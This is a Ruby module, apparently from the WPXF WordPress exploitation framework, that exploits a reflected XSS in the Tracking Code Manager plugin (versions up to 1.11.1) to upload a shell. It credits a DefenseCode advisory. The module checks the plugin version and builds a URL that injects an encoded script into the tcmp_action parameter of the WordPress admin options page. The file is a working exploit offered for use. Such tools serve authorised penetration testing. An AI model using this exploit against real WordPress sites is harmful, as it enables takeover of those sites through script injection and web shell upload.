# frozen_string_literal: true

class Wpxf::Exploit::TrackingCodeManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Tracking Code Manager <= 1.11.1 Reflected XSS Shell Upload',
      author: [
        'DefenseCode <www.defensecode.com>', # Discovery
        'rastating'                          # WPXF module
      ],
      references: [
        ['WPVDB', '8813'],
        ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-020_WordPress_Tracking_Code_Manager_Plugin_Advisory.pdf']
      ],
      date: 'May 11 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('tracking-code-manager', 'readme.txt', '1.11.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=tracking-codemanager&tab=editor&tcmp_action=%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%"
  end
end
